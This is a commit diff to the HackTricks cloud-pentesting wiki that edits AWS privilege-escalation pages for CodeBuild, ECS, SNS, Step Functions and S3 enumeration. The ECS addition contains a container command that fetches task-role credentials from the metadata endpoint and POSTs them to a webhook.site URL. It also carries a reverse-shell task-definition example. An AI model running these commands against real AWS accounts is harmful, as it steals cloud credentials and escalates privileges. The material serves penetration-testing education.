Skip to content

Commit cda6b2f

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents afe1548 + d765817 commit cda6b2f

6 files changed

Lines changed: 50 additions & 4 deletions

File tree

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -225,7 +225,7 @@ JSON="{
225225

226226
printf "$JSON" > $REV_PATH
227227

228-
aws codebuild update-project --cli-input-json file://$REV_PATH
228+
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
229229

230230
aws codebuild start-build --project-name codebuild-demo-project
231231
```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,8 @@ More **info about ECS** in:
1414

1515
An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.
1616

17+
{{#tabs }}
18+
{{#tab name="Reverse Shell" }}
1719
```bash
1820
# Generate task definition with rev shell
1921
aws ecs register-task-definition --family iam_exfiltration \
@@ -34,6 +36,47 @@ aws ecs run-task --task-definition iam_exfiltration \
3436
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
3537
```
3638

39+
{{#endtab }}
40+
41+
{{#tab name="Webhook" }}
42+
43+
Create a webhook with a site like webhook.site
44+
45+
```bash
46+
47+
# Create file container-definition.json
48+
[
49+
{
50+
"name": "exfil_creds",
51+
"image": "python:latest",
52+
"entryPoint": ["sh", "-c"],
53+
"command": [
54+
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
55+
]
56+
}
57+
]
58+
59+
# Run task definition, uploading the .json file
60+
aws ecs register-task-definition \
61+
--family iam_exfiltration \
62+
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
63+
--network-mode "awsvpc" \
64+
--cpu 256 \
65+
--memory 512 \
66+
--requires-compatibilities FARGATE \
67+
--container-definitions file://container-definition.json
68+
69+
# Check the webhook for a response
70+
71+
# Delete task definition
72+
## You need to remove all the versions (:1 is enough if you just created one)
73+
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
74+
75+
```
76+
{{#endtab }}
77+
78+
{{#endtabs }}
79+
3780
**Potential Impact:** Direct privesc to a different ECS role.
3881

3982
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ An attacker could subscribe or to an SNS topic, potentially gaining unauthorized
2828
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
2929
```
3030

31-
**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
31+
**Potential Impact**: Unauthorized access to messages (sensitive info), service disruption for applications relying on the affected topic.
3232

3333
### `sns:AddPermission`
3434

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ Or you could also go to the API AWS documentation and check each action docs:
2525

2626
### `states:TestState` & `iam:PassRole`
2727

28-
An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
28+
An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
2929

3030
```bash
3131
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ Different methods to find when a webpage is using AWS to storage some resources:
2626
```
2727

2828
- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
29+
- **[s3dns](https://github.com/olizimmermann/s3dns)** – A lightweight DNS server that passively identifies cloud storage buckets (S3, GCP, Azure) by analyzing DNS traffic. It detects CNAMEs, follows resolution chains, and matches bucket patterns, offering a quiet alternative to brute-force or API-based discovery. Perfect for recon and OSINT workflows.
2930
- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
3031
- The **bucket name** and the **bucket domain name** needs to be **the same.**
3132
- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
@@ -101,6 +102,8 @@ Check that the resolved domain have the word "website".\
101102
You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
102103
or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
103104

105+
106+
104107
#### By Trying
105108

106109
If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:

0 commit comments

Comments
 (0)